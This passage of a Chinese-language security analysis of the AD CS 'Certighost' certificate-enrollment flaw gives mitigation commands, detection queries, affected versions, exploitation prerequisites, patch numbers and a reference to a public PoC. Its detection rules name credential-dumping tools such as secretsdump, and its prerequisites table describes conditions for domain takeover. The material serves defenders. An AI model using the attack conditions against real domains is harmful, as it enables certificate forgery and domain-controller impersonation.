  |- 校验请求方凭据 (ROGUE$) -> OK
  |- 校验模板权限 -> OK
  |- 解析终端实体
       |- 触发 chase 回退
       |- 读取 cdc=attacker.host
       |- _ValidateChaseTargetIsDC(cdc)
            |- 检查 IP 字面量 -> 拒绝 (attacker.host 是 DNS 名,继续)
            |- 检查长度 -> OK
            |- 检查 LDAP 元字符 -> OK
            |- LDAP 查询 AD 中 dNSHostName=attacker.host 的对象
            |- 查询结果: 0 个对象  -> 拒绝 (非域内计算机)
            |- 或查询结果: ROGUE$ (userAccountControl=4096)
                 |- 8192 标志缺失 -> 拒绝 (非域控)
       |- 校验失败 -> 拒绝 enrollment
  |- 返回错误

9. 临时缓解与检测

9.1 临时缓解:禁用 chase 回退

对于无法立即打补丁的环境,微软提供了通过 certutil 禁用 chase 回退的临时缓解措施。该措施通过清除 EDITF_ENABLECHASECLIENTDC 标志位实现:

# 清除 EDITF_ENABLECHASECLIENTDC 标志
certutil -setreg policy\EditFlags -EDITF_ENABLECHASECLIENTDC

# 重启 CertSvc 服务使配置生效
Restart-Service CertSvc -Force

执行后,CA 将不再接受请求中的 cdc 属性,chase 回退路径被完全关闭。所有 enrollment 请求必须通过 CA 默认的 LDAP 查询路径解析终端实体身份。

注意事项:

  • 该标志位需要在一台一台 CA 上分别设置(多 CA 环境需逐台操作)
  • 重启 CertSvc 会导致正在进行的 enrollment 请求失败,建议在维护窗口执行
  • 该缓解是"过度防御":合法的跨站点 enrollment 场景可能依赖 chase 回退,禁用后这些场景需要重新设计网络可达性
  • 该缓解不能替代补丁——补丁提供了更精细的校验(允许合法 chase、拒绝恶意 chase),而该标志位是开关式禁用

9.2 验证缓解生效

# 查看当前 EditFlags
certutil -getreg policy\EditFlags

# 输出中应看不到 EDITF_ENABLECHASECLIENTDC 标志
# EditFlags:
#     EDITF_DISABLEEXTENSIONLIST (0x00000001)
#     EDITF_ADDOLDKEYUSAGE (0x00000002)
#     ...
#     (EDITF_ENABLECHASECLIENTDC 应已消失)

9.3 检测方案

检测点 1:enrollment 请求中的 cdc 属性

在 CA 上启用审核,记录所有带 cdc 属性的 enrollment 请求。补丁后环境中,合法请求通常不带 cdc;带 cdc 的请求高度可疑:

# 启用 CA 审核日志
certutil -setreg policy\AuditFlag +CERTLOG_AUDIT_ENROLLMENT
Restart-Service CertSvc -Force

# 在事件查看器中查看 Security 日志
# 事件 ID 4886 (Certificate Services received a certificate request)
# 事件 ID 4887 (Certificate Services approved a certificate request)
# 检查请求属性中是否包含 cdc

检测点 2:CA 出站连接 445/389 到非 DC 主机

CA 在正常情况下不应主动向域内非 DC 主机发起 SMB(445)或 LDAP(389)连接。监测 CA 主机的出站连接,对 445/389 目标做 DC 白名单校验:

// Microsoft Defender for SIEM / Sentinel KQL 查询示例
DeviceNetworkEvents
| where DeviceName startswith "CORP-CA01"
| where RemotePort in (445, 389)
| where RemoteDeviceName !endswith "-DC"   // 根据命名约定调整
| where RemoteIP !in (DC_IP_LIST)
| project TimeGenerated, DeviceName, RemoteIP, RemotePort, RemoteDeviceName

检测点 3:PKINIT 异常证书使用

监测 KDC 上的 PKINIT 认证事件。一台机器通过 PKINIT 认证为 DC 身份是罕见行为,值得告警:

事件 ID 4768 (Kerberos Authentication Ticket (TGT) Request)
- 证书指纹对应的计算机账户
- 该账户是否本应通过 PKINIT 认证(仅 DC / 配置了证书认证的服务账户)
- 颁发 CA 是否为预期的内部 CA

检测点 4:DRSUAPI 调用源异常

监测 DC 上的 DRSUAPI 调用。合法的 DRSUAPI 调用应来自其他 DC;来自非 DC 主机或新出现的主机高度可疑:

DeviceProcessEvents
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName in (~"wmic", ~"python", ~"secretsdump")
| project TimeGenerated, DeviceName, InitiatingProcessFileName, AccountName

10. 影响范围与版本矩阵

10.1 受影响版本

产品版本 受影响 备注
Windows Server 2012 / 2012 R2 已脱离主流支持,需 ESU
Windows Server 2016
Windows Server 2019
Windows Server 2022
Windows Server 2025
Windows 10 1607 LTSC 渠道
Windows 10 1809 LTSC 渠道
Windows 11 视配置 仅作为 CA 部署时受影响(罕见)
Windows 10 其他版本 非 LTSC 已 EOL

10.2 利用前提条件矩阵

前提条件 是否必需 默认满足率 备注
任意域用户账户 钓鱼/凭据窃取即可获得
Enterprise CA(非 Standalone) 中大型企业高 Standalone CA 不实现 chase 回退
Machine 模板启用且默认配置 极高 几乎所有 AD CS 部署默认启用
ms-DS-MachineAccountQuota > 0 极高 默认值 10
网络可达 CA 的 RPC/DCOM 端点 域内默认可达
攻击者主机可被 CA 反向连接(445/389) 取决于网络分段
目标 DC 与攻击者主机网络可达 同域内默认可达

10.3 补丁矩阵

KB 编号 适用版本 发布日期
KB5040437 Windows Server 2022 2026-07-14
KB5040442 Windows Server 2019 2026-07-14
KB5040430 Windows Server 2016 2026-07-14
KB5040434 Windows Server 2025 2026-07-14
KB5040458 Windows Server 2012 R2 (ESU) 2026-07-14
KB5040461 Windows 10 1607 (LTSC) 2026-07-14
KB5040467 Windows 10 1809 (LTSC) 2026-07-14

11. 深层启示

11.1 "默认安全"假设的再次破产

Certighost 的出现,是对"默认配置即安全"假设的又一次沉重打击。过去十年,业界在 ADCS 安全上形成了清晰的认知模型:模板配置错误是 ADCS 攻击的几乎全部根源,只要审计到位、基线合规,AD CS 就是企业 PKI 中可信的一环。Certighost 证明,这个认知模型的覆盖范围远比想象中狭窄——它只覆盖了"配置层"的缺陷,对"协议设计层"的缺陷束手无策。

更值得警惕的是,chase 回退机制本身并非"新功能"。它在 AD CS 中存在了十余年,被无数安全审计、渗透测试、学术研究检视过,却始终被视为"正常的设计特性"而非"潜在漏洞"。这提示我们:安全审计的盲区往往不在于"看不清细节",而在于"对设计前提的默认信任"。审计者天然倾向于质疑"配置是否偏离基线",却很少质疑"基线本身是否合理"。

11.2 授权与认证的解耦风险

从漏洞机制上看,Certighost 是一个典型的"授权与认证解耦"缺陷。CA 在处理 enrollment 时:

  • 认证路径:校验请求方凭据(ROGUE$ 通过)
  • 授权路径:决定是否签发(基于模板权限 + 终端实体身份)

两条路径在补丁前是完全独立的。认证通过后,授权路径并不重新校验"请求方是否就是终端实体",导致攻击者可以用 A 的凭据为 B 签发证书。补丁中的 SID 一致性校验,本质上是把这两条路径重新耦合起来——签发时强制要求"请求方 SID 必须与终端实体 SID 一致(或具备合法授权)"。

这种"认证授权解耦"的反模式在 Windows 安全子系统中并不孤立。ADCS 的 ESC1(ENROLLEE_SUPPLIES_SUBJECT)、Kerberos 的 S4U2Self/S4U2Proxy、NTLM 的 relay 类问题,本质上都是认证与授权解耦导致的不同表现形式。Certighost 提示我们:任何允许"用 A 的凭据影响 B 的授权"的设计,都应当被视作高风险,必须在协议层面强制耦合

11.3 relay 攻击的演化

Certighost 中的 challenge relay 环节,是 NTLM/Kerberos relay 攻击演化的一个新阶段。传统 relay 攻击(如 PetitPotam、PrinterBug)的目标是把认证流量 relay 到目标服务,从而以目标身份访问该服务。Certighost 的 relay 目标是 DC 的 Netlogon,但目的不是"以 DC 身份访问 Netlogon",而是"借用 Netlogon 的认证响应来提取 DC 的身份属性"。

这是一种信息抽取型 relay,而非传统的访问代理型 relay。relay 的目的从"借身份访问服务"演化为"借服务吐身份"。这种演化对防御方提出了新的要求:relay 检测不能只关注"是否有异常的认证流量到达高价值服务",还要关注"是否有认证响应被用于非常规的属性提取"。

11.4 PKI 信任链的最弱环节

AD CS 作为企业 PKI 的核心,其安全模型建立在一个隐含信任上:CA 签发的证书主体是可信的。下游服务(KDC、IIS、802.1X、S/MIME)在校验证书时,只校验签名链与 EKU,几乎从不质疑"主体是否被正确签发"。Certighost 让一张主体为 DC01 的"合法"证书流入攻击者手中,所有下游校验都会通过——因为证书本身在 PKI 层面完全合法。

这揭示了 PKI 信任链的一个根本脆弱点:信任链的安全性强等于其最弱环节的强度。CA 的签发逻辑如果存在授权缺陷,整条信任链的下游校验都将成为无效的"门面"。防御方不能只盯着"证书校验"这一环,必须回溯到"证书签发"这一源头。

11.5 防御方的行动建议

基于以上分析,对防御方提出以下行动建议:

  1. 立即打补丁:所有部署了 AD CS 的 Windows Server 必须在 7 月补丁窗口内完成升级。补丁是唯一的根本性修复。
  2. 核查 Enterprise CA 清单:梳理企业内所有 Enterprise CA 部署,确认其补丁状态与 EDITF_ENABLECHASECLIENTDC 标志位状态。
  3. 暂时禁用 chase 回退:对无法立即打补丁的 CA,执行 certutil -setreg policy\EditFlags -EDITF_ENABLECHASECLIENTDC 并重启 CertSvc。
  4. 建立 CA 出站连接监控:CA 主机的出站 445/389 连接必须纳入持续监控,目标 IP 必须在 DC 白名单内。
  5. 审计 PKINIT 使用:监测所有 PKINIT 认证事件,对非预期主体(尤其是 DC 计算机账户)的 PKINIT 认证建立告警。
  6. 更新 ADCS 安全基线:将"chase 回退状态"纳入 ADCS 安全基线审计清单,作为常态化合规检查项。
  7. 重新审视信任模型:评估企业内所有"认证授权解耦"的设计点,识别潜在的同类缺陷。

12. 参考资料

  1. CVE-2026-54121 PoC 仓库 - https://github.com/aniqfakhrul/CVE-2026-54121
  2. 微软 2026 年 7 月补丁公告 - https://msrc.microsoft.com/update-guide/
  3. @h0j3n 研究者主页 - https://h0j3n.github.io/
  4. @aniqfakhrul 研究者主页 - https://aniqfakhrul.com/
  5. SpecterOps "Certified Pre-Owned" - https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
  6. Certipy 项目 - https://github.com/ly4k/Certipy-adc
  7. MS-DRSR 协议规范 - https://learn.microsoft.com/openspecs/windows_protocols/ms-drsr/
  8. MS-WCCE 协议规范 - https://learn.microsoft.com/openspecs/windows_protocols/ms-wcce/
  9. RFC 4556 (PKINIT) - https://datatracker.ietf.org/doc/html/rfc4556
  10. Windows Server PKI 部署指南 - https://learn.microsoft.com/windows-server/identity/ad-cs/

免责声明:本文所有技术内容仅用于安全研究与防御教育。文中涉及的攻击技术、工具使用、命令示例均基于公开披露的漏洞资料,不构成对任何系统的攻击指引。请在授权范围内进行安全测试,遵守所在地区的法律法规。